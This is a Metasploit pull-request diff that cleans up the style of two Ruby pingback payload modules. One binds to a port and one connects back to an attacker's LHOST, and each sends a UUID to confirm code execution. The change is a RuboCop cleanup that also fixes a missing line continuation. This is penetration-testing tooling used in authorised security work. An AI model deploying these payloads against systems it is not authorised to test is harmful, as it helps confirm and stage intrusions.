Merge pull request rapid7#20063 from bcoles/payloads-ruby-pingback

payloads: Ruby pingback: Resolve RuboCop violations

Author: adfoster-r7

modules/payloads/singles/ruby/pingback_bind_tcp.rb

@@ -1,41 +1,40 @@
-
 module MetasploitModule
-
-  CachedSize = 103
+  CachedSize = 110
 
   include Msf::Payload::Single
   include Msf::Payload::Ruby
   include Msf::Payload::Pingback
   include Msf::Payload::Pingback::Options
 
   def initialize(info = {})
-    super(merge_info(info,
-      'Name' => 'Ruby Pingback, Bind TCP',
-      'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
-      'Author' => 'asoto-r7',
-      'License' => MSF_LICENSE,
-      'Platform' => 'ruby',
-      'Arch' => ARCH_RUBY,
-      'Handler' => Msf::Handler::BindTcp,
-      'Session' => Msf::Sessions::Pingback,
-      'PayloadType' => 'ruby'
-    ))
+    super(
+      merge_info(
+        info,
+        'Name' => 'Ruby Pingback, Bind TCP',
+        'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
+        'Author' => 'asoto-r7',
+        'License' => MSF_LICENSE,
+        'Platform' => 'ruby',
+        'Arch' => ARCH_RUBY,
+        'Handler' => Msf::Handler::BindTcp,
+        'Session' => Msf::Sessions::Pingback,
+        'PayloadType' => 'ruby'
+      )
+    )
   end
 
   def generate(_opts = {})
-    #return prepends(ruby_string)
+    # return prepends(ruby_string)
     return ruby_string
   end
 
   def ruby_string
-    self.pingback_uuid ||= self.generate_pingback_uuid
+    self.pingback_uuid ||= generate_pingback_uuid
     return "require'socket';" \
       "s=TCPServer.new(#{datastore['LPORT'].to_i});"\
-      "c=s.accept;"\
-      "s.close;"\
-      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');"
-      "c.close"
+      'c=s.accept;'\
+      's.close;'\
+      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');" \
+      'c.close'
   end
 end
-
-

modules/payloads/singles/ruby/pingback_reverse_tcp.rb

@@ -1,25 +1,26 @@
-
 module MetasploitModule
-
-  CachedSize = 100
+  CachedSize = 107
 
   include Msf::Payload::Single
   include Msf::Payload::Ruby
   include Msf::Payload::Pingback
   include Msf::Payload::Pingback::Options
 
   def initialize(info = {})
-    super(merge_info(info,
-      'Name' => 'Ruby Pingback, Reverse TCP',
-      'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
-      'Author' => 'asoto-r7',
-      'License' => MSF_LICENSE,
-      'Platform' => 'ruby',
-      'Arch' => ARCH_RUBY,
-      'Handler' => Msf::Handler::ReverseTcp,
-      'Session' => Msf::Sessions::Pingback,
-      'PayloadType' => 'ruby'
-    ))
+    super(
+      merge_info(
+        info,
+        'Name' => 'Ruby Pingback, Reverse TCP',
+        'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
+        'Author' => 'asoto-r7',
+        'License' => MSF_LICENSE,
+        'Platform' => 'ruby',
+        'Arch' => ARCH_RUBY,
+        'Handler' => Msf::Handler::ReverseTcp,
+        'Session' => Msf::Sessions::Pingback,
+        'PayloadType' => 'ruby'
+      )
+    )
   end
 
   def generate(_opts = {})
@@ -28,12 +29,12 @@ def generate(_opts = {})
   end
 
   def ruby_string
-    self.pingback_uuid ||= self.generate_pingback_uuid
+    self.pingback_uuid ||= generate_pingback_uuid
     lhost = datastore['LHOST']
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
     return "require'socket';" \
       "c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
-      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
-      "c.close"
+      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');" \
+      'c.close'
   end
 end